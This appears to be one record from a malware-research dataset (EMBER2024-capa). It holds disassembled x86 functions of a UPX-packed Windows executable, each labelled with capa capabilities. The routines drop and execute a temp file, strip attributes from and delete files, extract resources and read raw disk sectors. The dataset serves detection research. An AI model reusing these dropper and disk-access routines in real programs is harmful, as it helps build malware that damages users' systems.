joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45bb20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x4f000]
push edi
jmp 0x45bb3a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x45bb41
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x45bb30
mov eax, 1
add ebx, ebx
jne 0x45bb53
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x45bb64
jne 0x45bb83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x45bb83
dec eax
add ebx, ebx
jne 0x45bb70
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x45bb48
add ebx, ebx
jne 0x45bb7f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x45bbd5
xor ecx, ecx
sub eax, 3
jb 0x45bb9b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x45bc0a
sar eax, 1
mov ebp, eax
jmp 0x45bba6
add ebx, ebx
jne 0x45bba6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x45bb74
inc ecx
add ebx, ebx
jne 0x45bbb4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x45bb74
add ebx, ebx
jne 0x45bbc1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x45bbb6
jne 0x45bbd2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x45bbb6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x45bbf4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x45bbe6
jmp 0x45bb36
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x45bbf4
add edi, ecx
jmp 0x45bb36
pop esi
mov edi, esi
mov ecx, 0x779
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x45bc12
cmp byte [edi], 0xd
jne 0x45bc12
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x45bc17
lea edi, [esi + 0x59000]
mov eax, dword [edi]
or eax, eax
je 0x45bc8f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8c9a4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8caa0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x45bc44
mov ecx, edi
jns 0x45bc73
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8caa8]
or eax, eax
je 0x45bc89
mov dword [ebx], eax
add ebx, 4
jmp 0x45bc61
call dword [esi + 0x8caa4]
mov ebp, dword [esi + 0x8caac]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x45bcc3
sub esp, 0xffffff80
jmp 0x40b480
Function at 0x4010a0
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x43c130
push 0x67
push esi
call edi
push 0x64
push 0x43c068
push 0x6d
push esi
call edi
mov eax, esi
call fcn.00401250
mov eax, dword [ebp + 0x10]
mov edx, 0x43cc38
sub edx, eax
mov edi, edi
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x4010f0
call fcn.00403cc0
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x7d0
mov dword [0x438f90], eax
call edi
call fcn.004015f0
test eax, eax
je 0x40112c
call fcn.00403360
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push esi
call fcn.004020e0
add esp, 4
test eax, eax
jne 0x40114f
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
call fcn.0041563c
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00417c90
mov eax, dword [0x43c880]
add esp, 0xc
test eax, eax
jbe 0x4011a1
cmp word [0x43c884], 0
jbe 0x4011a1
push eax
mov esi, 0x4394d8
call fcn.00403c40
mov dx, word [0x43c884]
add esp, 4
mov word [0x4394e8], dx
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, edx
xor edx, edx
shr eax, 6
mov ecx, 0x3e8
div ecx
push edx
push 0x432bc8
mov edx, 0x43ce40
call fcn.00403340
call fcn.00402b80
lea esi, [esp + 0x10]
call fcn.00403500
push 0x432be0
mov edx, esi
push 0x104
push edx
call fcn.00415834
add esp, 0x14
push 0x43ce40
mov eax, esi
push 0x104
push eax
call fcn.00415834
add esp, 0xc
mov ecx, esi
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401231
push 0x1f4
call edi
push 1
push 0
push 0x432be4
mov edx, esi
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call edi
call fcn.004028e0
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x402640
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
sub esp, 0xc
push ebx
mov ebx, dword [esp + 0x14]
push ebp
push esi
push edi
push ebx
mov edi, eax
xor esi, esi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402671
mov eax, ebx
call fcn.00403dc0
cmp eax, edi
jne 0x402671
lea eax, [esi + 1]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
push 0x200000
call fcn.0041569a
mov ebp, eax
mov eax, dword [esp + 0x28]
add esp, 4
push ebp
push eax
lea edx, [esp + 0x1c]
mov ecx, edi
mov dword [esp + 0x1c], 0x200000
call fcn.00406ee0
add esp, 8
test eax, eax
je 0x40273c
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.00416348
add esp, 4
call fcn.0041635a
mov dword [esp + 0x18], eax
fild dword [esp + 0x18]
fmul qword [0x4334c0]
fmul qword [0x4334e8]
fadd qword [0x4334e0]
call fcn.004199b0
mov esi, dword [esp + 0x14]
lea ebx, [esi + ebp]
mov edi, eax
call fcn.00403ff0
add edi, esi
mov esi, dword [esp + 0x20]
xor ebx, ebx
call fcn.00406e60
mov esi, eax
cmp esi, 0xffffffff
je 0x40273a
push ebx
lea ecx, [esp + 0x1c]
push ecx
push edi
push ebp
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
neg eax
sbb eax, eax
and eax, dword [esp + 0x18]
cmp eax, edi
jne 0x402719
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp ebx, 1
jne 0x40273a
push ebp
mov esi, ebx
call fcn.00415764
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
xor esi, esi
push ebp
call fcn.00415764
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x402c80
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x434
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x42c], eax
mov eax, dword [esp + 0x43c]
push ebx
push ebp
mov ebp, dword [esp + 0x440]
push esi
push edi
push eax
mov ecx, ebp
call fcn.004065a0
add esp, 4
mov dword [esp + 0x10], eax
test eax, eax
jne 0x402e3f
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x32]
push edx
mov word [esp + 0x34], cx
call fcn.00417c90
add esp, 0xc
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x23a]
push ecx
mov word [esp + 0x23c], ax
call fcn.00417c90
add esp, 0xc
lea esi, [esp + 0x28]
call fcn.00403500
push 0x43321c
mov edx, esi
push 0x104
push edx
call fcn.00415834
xor eax, eax
lea ebx, [esp + 0x20]
add esp, 0xc
mov byte [esp + 0x14], 0
mov dword [esp + 0x15], eax
mov dword [esp + 0x19], eax
mov dword [esp + 0x1d], eax
mov dword [esp + 0x21], eax
mov word [esp + 0x25], ax
mov byte [esp + 0x27], al
mov esi, 0x43c208
sub ebx, 0x43c30c
cmp word [esi], 0
je 0x402db7
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x234]
push 0x104
push ecx
call fcn.004158b1
add esp, 0xc
push esi
lea edx, [esp + 0x234]
push 0x104
push edx
call fcn.00415834
lea eax, [esp + 0x23c]
add esp, 0xc
push eax
lea edi, [esp + 0x18]
call fcn.00405bc0
add esp, 4
test eax, eax
je 0x402db7
mov ecx, 0x14
lea eax, [esi + 0x104]
lea ecx, [ecx]
mov edx, dword [ebx + eax]
cmp edx, dword [eax]
jne 0x402db7
sub ecx, 4
add eax, 4
cmp ecx, 4
jae 0x402da0
xor eax, eax
mov word [esi], ax
add esi, 0x118
sub ebx, 0x118
cmp esi, 0x43c780
jl 0x402d44
mov edi, dword [esp + 0x44c]
mov esi, 0x43c208
jmp 0x402de0
cmp word [esi], 0
je 0x402dfe
mov ecx, dword [esi + 0x100]
mov dword [0x43c1fc], ecx
push edi
push ebp
mov ecx, esi
call fcn.004067a0
add esp, 8
add esi, 0x118
cmp esi, 0x43c780
jl 0x402de0
push 0x43ce40
lea edx, [esp + 0x2c]
push 0x104
push edx
call fcn.00415834
add esp, 0xc
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x402e3b
mov dword [esp + 0x10], 2
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x43c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0041563c
add esp, 0x434
ret
Function at 0x402fa0
Capabilities:
Check if file exists
Delete file
Get common file path
Get file attributes
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x68c
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x684], eax
push ebx
push ebp
push esi
push edi
push 0x4332a8
push 0x4332ac
call fcn.00416440
mov esi, eax
add esp, 8
test esi, esi
je 0x402ff8
push 0
push 0x2580
push esi
call fcn.00415b24
add esp, 0xc
push esi
push 5
push 1
push 0x4332b8
call fcn.004162c6
push esi
call fcn.004160e8
add esp, 0x14
cmp byte [0x43c78b], 1
jne 0x403176
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x492]
push ecx
mov word [esp + 0x494], ax
call fcn.00417c90
mov esi, dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
add esp, 0xc
push 0x4332c0
mov dword [esp + 0x18], 0
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
mov ebx, dword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov ebp, dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xffffffff
je 0x40307e
test al, 1
je 0x403058
xor eax, 1
test al, 4
je 0x40305f
xor eax, 4
test al, 2
je 0x403066
xor eax, 2
test al, 0x20
je 0x40306d
xor eax, 0x20
push eax
push 0x4332c0
call edi
push 0x4332c0
call ebx
call ebp
push 0x4332dc
call esi
cmp eax, 0xffffffff
je 0x4030b7
test al, 1
je 0x403091
xor eax, 1
test al, 4
je 0x403098
xor eax, 4
test al, 2
je 0x40309f
xor eax, 2
test al, 0x20
je 0x4030a6
xor eax, 0x20
push eax
push 0x4332dc
call edi
push 0x4332dc
call ebx
call ebp
push 0x433308
call esi
cmp eax, 0xffffffff
je 0x4030f0
test al, 1
je 0x4030ca
xor eax, 1
test al, 4
je 0x4030d1
xor eax, 4
test al, 2
je 0x4030d8
xor eax, 2
test al, 0x20
je 0x4030df
xor eax, 0x20
push eax
push 0x433308
call edi
push 0x433308
call ebx
call ebp
push 0x104
lea edx, [esp + 0x48c]
push edx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
movzx eax, word [esp + 0x488]
sub eax, 0x41
push eax
lea ebx, [esp + 0x18]
call fcn.00404470
mov ebx, dword [esp + 0x18]
add esp, 4
call fcn.004042f0
mov edi, eax
cmp edi, 0xffffffff
je 0x403176
lea esi, [esp + 0x250]
call fcn.004047b0
test eax, eax
je 0x403176
mov ecx, edi
call fcn.004031f0
mov ecx, 0x8d
lea edi, [esp + 0x18]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x250]
push 0x236
lea edx, [esp + 0x1c]
push edx
movsw word es:[edi], word [esi]
push 0x1e
mov dword [esp + 0x24], ecx
mov dword [esp + 0x28], 0x5042475f
call fcn.00404280
add esp, 0xc
mov ecx, dword [esp + 0x694]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0041563c
add esp, 0x68c
ret
Function at 0x4031f0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x22c
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x224], eax
push ebx
push ebp
push esi
xor eax, eax
push edi
xor ebp, ebp
mov edi, ecx
mov dword [esp + 0x10], 1
mov dword [esp + 0x14], ebp
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], ebp
cmp edi, 0xffffffff
je 0x40325a
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x2c]
push ecx
push 0x200
lea edx, [esp + 0x3c]
push edx
push edi
mov dword [esp + 0x30], ebp
mov dword [esp + 0x34], ebp
call dword [sym.imp.KERNEL32.DLL_ReadFile]
cmp eax, ebp
jne 0x403261
xor eax, eax
jmp 0x403320
lea esi, [esp + 0x30]
call fcn.00404920
test eax, eax
jne 0x40331c
mov eax, dword [esp + 0x30]
mov byte [esp + 0x28], 0x33
mov byte [esp + 0x29], 0xf6
mov byte [esp + 0x2a], 0xb8
mov byte [esp + 0x2b], 0x40
cmp eax, dword [esp + 0x28]
jne 0x40330e
cmp byte [esp + 0x34], 7
jne 0x40330e
cmp byte [esp + 0x35], 0x8e
jne 0x40330e
mov eax, esi
call fcn.00403190
mov ebx, eax
cmp ebx, ebp
jne 0x4032b1
mov dword [esp + 0x10], ebp
jmp 0x40331c
lea ecx, [esp + 0x30]
push ecx
push ebx
mov eax, 1
call fcn.00404080
add esp, 8
test eax, eax
je 0x40325a
lea esi, [esp + 0x30]
call fcn.00404920
cmp eax, 1
je 0x40331c
mov edx, esi
push edx
lea eax, [ebx + 1]
push eax
mov eax, 1
call fcn.00404080
add esp, 8
test eax, eax
je 0x40325a
cmp byte [esp + 0x30], 0x56
jne 0x40325a
push ebx
mov ecx, edi
call fcn.00404860
add esp, 4
mov dword [esp + 0x10], eax
jmp 0x40331c
mov esi, edi
call fcn.004043b0
mov ecx, edi
call fcn.004049c0
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x234]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0041563c
add esp, 0x22c
ret
Function at 0x403360
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x314
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x310], eax
lea eax, [esp + 4]
push eax
push 0x104
mov dword [esp + 8], 0
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
push 0x4334b0
lea ecx, [esp + 8]
push 0x104
push ecx
call fcn.0041685b
add esp, 0xc
push 0x104
lea edx, [esp + 0x10c]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [esp + 0x108]
push eax
lea ecx, [esp + 0x210]
push 0x104
push ecx
call fcn.004167a8
lea edx, [esp + 0x218]
push 0x5c
push edx
call fcn.00416810
add esp, 0x14
test eax, eax
je 0x4033eb
mov byte [eax], 0
push ebx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4034e7
mov eax, 0x439550
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403420
sub eax, edx
push esi
push edi
mov edi, eax
lea eax, [esp + 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403437
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x10]
lea esi, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403450
sub eax, esi
lea edx, [eax + ecx*2]
add edx, ecx
lea edi, [edx + edi + 0x32]
push edi
call fcn.0040b20c
push edi
mov esi, eax
push 0
push esi
call fcn.00417c90
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x22c]
push ecx
lea edx, [esp + 0x12c]
push edx
mov eax, edx
push eax
push 0x439550
push edi
push esi
call fcn.0041683d
mov eax, esi
add esp, 0x2c
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4034a0
push 0
sub eax, ecx
lea ecx, [esp + 0x10]
push ecx
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0
push 0
push 0
lea edx, [esp + 0x1c]
push edx
push 0x432b68
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test esi, esi
je 0x4034e5
push esi
call fcn.0040b201
add esp, 4
pop edi
pop esi
mov ecx, dword [esp + 0x314]
pop ebx
xor ecx, esp
call fcn.0041563c
add esp, 0x314
ret
Function at 0x403560
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x70
or eax, 0xffffffff
push ebx
mov ebx, 1
push ebp
push esi
mov dword [esp + 0x14], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x74], eax
push edi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x7c], eax
mov dword [esp + 0x78], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x18], ebx
call fcn.0041635a
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fmul qword [0x4334c0]
fadd qword [0x4334d8]
call fcn.004199b0
mov ebp, eax
xor esi, esi
xor edi, edi
test ebp, ebp
jle 0x403680
call fcn.0041635a
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fmul qword [0x4334c0]
fmul qword [0x4334d0]
fadd qword [0x4334c8]
call fcn.004199b0
mov ecx, eax
mov eax, dword [esp + ecx*4 + 0x18]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jle 0x403668
lea esp, [esp]
add ecx, ebx
cmp ecx, 0x1a
jne 0x403659
xor ecx, ecx
mov eax, dword [esp + ecx*4 + 0x18]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jg 0x403650
add esi, dword [esp + ecx*4 + 0x18]
mov eax, dword [esp + 0x84]
add ecx, 0x61
mov word [eax + edi*2], cx
add edi, ebx
cmp edi, ebp
jl 0x403617
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x70
ret

Function at 0x403690
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
mov ecx, dword [esp + 0x10]
mov edi, eax
mov eax, dword [esp + 0x14]
push eax
push ecx
push edi
call dword [sym.imp.KERNEL32.DLL_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x4036f8
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push ebx
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_LoadResource]
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov edx, dword [esp + 0x18]
push esi
mov ebx, eax
mov dword [edx], esi
call fcn.0040b20c
push esi
mov edi, eax
push 0
push edi
call fcn.00417c90
push esi
push ebx
push edi
call fcn.0041d1f0
add esp, 0x1c
mov eax, edi
pop edi
pop esi
pop ebx
ret
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x403cc0
Capabilities:
Check os version

Disassembly:
sub esp, 0x120
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x11c], eax
push esi
push 0x118
xor esi, esi
lea eax, [esp + 0xc]
push esi
push eax
call fcn.00417c90
add esp, 0xc
lea ecx, [esp + 4]
push ecx
mov dword [esp + 8], 0x11c
call dword [sym.imp.KERNEL32.DLL_GetVersionExW]
test eax, eax
je 0x403d99
mov eax, dword [esp + 8]
cmp eax, 5
jne 0x403d65
mov eax, dword [esp + 0xc]
test eax, eax
jne 0x403d3e
cmp word [esp + 0x118], 4
jb 0x403d99
mov esi, 1
mov eax, esi
pop esi
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0041563c
add esp, 0x120
ret
cmp eax, 2
jae 0x403d48
cmp eax, 1
jne 0x403d99
mov esi, 3
mov eax, esi
pop esi
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0041563c
add esp, 0x120
ret
cmp eax, 6
jne 0x403d99
mov eax, dword [esp + 0xc]
test eax, eax
jne 0x403d8f
mov esi, 4
mov eax, esi
pop esi
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0041563c
add esp, 0x120
ret
cmp eax, 1
jne 0x403d99
mov esi, 5
mov ecx, dword [esp + 0x120]
mov eax, esi
pop esi
xor ecx, esp
call fcn.0041563c
add esp, 0x120
ret

Function at 0x403dc0
Capabilities:
Get file size

Disassembly:
sub esp, 0x10
push ebx
push esi
push edi
push 0
push 0
push 3
push 0
push 3
push closesocket
or edi, 0xffffffff
push eax
or ebx, edi
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov esi, eax
cmp esi, edi
jne 0x403df2
or eax, edi
or edx, edi
pop edi
pop esi
pop ebx
add esp, 0x10
ret
lea ecx, [esp + 0x10]
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
cmp eax, 1
jne 0x403e0b
mov edi, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, edi
pop edi
pop esi
mov edx, ebx
pop ebx
add esp, 0x10
ret

Function at 0x403f50
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x208], eax
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xa]
push ecx
mov word [esp + 0xc], ax
call fcn.00417c90
add esp, 0xc
cmp dword [0x438f90], 3
jne 0x403fb0
push 0x104
lea edx, [esp + 4]
push edx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
push 0x432200
lea eax, [esp + 4]
push 0x104
push eax
call fcn.00415834
add esp, 0xc
jmp 0x403fbf
lea ecx, [esp]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push esi
lea edx, [esp + 4]
push edx
push 0x432204
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [esp + 0x218]
add esp, 0x10
xor ecx, esp
call fcn.0041563c
add esp, 0x20c
ret

Function at 0x404080
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
xor ecx, ecx
push esi
mov esi, eax
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
mov dword [esp + 4], eax
cmp edi, 0xffffffff
je 0x4040d4
mov eax, dword [esp + 0x20]
mov ecx, 0x200
mul ecx
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x14], edx
lea edx, [esp + 8]
push edx
mov dword [esp + 0x14], eax
lea eax, [esp + 8]
push eax
shl esi, 9
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
pop esi
add esp, 0x18
ret
Function at 0x4043b0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x228
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x220], eax
push edi
push 0x200
xor edi, edi
lea eax, [esp + 0x24]
push edi
push eax
call fcn.00417c90
xor eax, eax
add esp, 0xc
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 8], edi
cmp esi, 0xffffffff
je 0x40444c
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0xc]
push edx
push 0x200
lea eax, [esp + 0x2c]
push eax
push esi
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
cmp eax, edi
je 0x40444a
push 0x200
lea ecx, [esp + 0x24]
push ecx
push 0x28
call fcn.00404280
add esp, 0xc
pop edi
mov ecx, dword [esp + 0x220]
xor ecx, esp
call fcn.0041563c
add esp, 0x228
ret
mov eax, edi
mov ecx, dword [esp + 0x224]
pop edi
xor ecx, esp
call fcn.0041563c
add esp, 0x228
ret

Function at 0x404580
Capabilities:
Get disk information via ioctl

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
xor ebp, ebp
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x24], 0xffffffff
mov dword [esp + 0x10], ebp
mov dword [esp + 0x18], ebp
je 0x40469e
push 0xc00
call fcn.0040b20c
mov ecx, dword [esp + 0x28]
add esp, 4
push ebx
mov esi, eax
lea eax, [esp + 0x18]
push eax
push 0xc00
push esi
push ebx
push ebx
push 0x70050
push ecx
call dword [sym.imp.KERNEL32.DLL_DeviceIoControl]
test eax, eax
je 0x404691
mov eax, dword [esi + 0x3c]
mov ecx, dword [esi + 0x38]
test eax, eax
jl 0x4045f9
jg 0x4045ed
test ecx, ecx
jbe 0x4045f9
mov ebx, dword [esi + 0x40]
mov ebp, dword [esi + 0x44]
mov edx, ecx
mov edi, eax
jmp 0x4045fd
mov edx, dword [esp + 0x18]
mov eax, dword [esi + 0xcc]
cmp eax, edi
mov ecx, dword [esi + 0xc8]
jl 0x404627
jg 0x404613
cmp ecx, edx
jbe 0x404627
mov ebx, dword [esi + 0xd0]
mov ebp, dword [esi + 0xd4]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x15c]
cmp eax, edi
mov ecx, dword [esi + 0x158]
jl 0x404651
jg 0x40463d
cmp ecx, edx
jbe 0x404651
mov ebx, dword [esi + 0x160]
mov ebp, dword [esi + 0x164]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x1ec]
cmp eax, edi
mov ecx, dword [esi + 0x1e8]
jl 0x40467b
jg 0x404667
cmp ecx, edx
jbe 0x40467b
mov ebx, dword [esi + 0x1f0]
mov ebp, dword [esi + 0x1f4]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
push 0
add ebx, edx
push 0x200
adc ebp, edi
push ebp
push ebx
call fcn.00419aa0
mov dword [esp + 0x10], eax
test esi, esi
je 0x40469e
push esi
call fcn.0040b201
add esp, 4
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret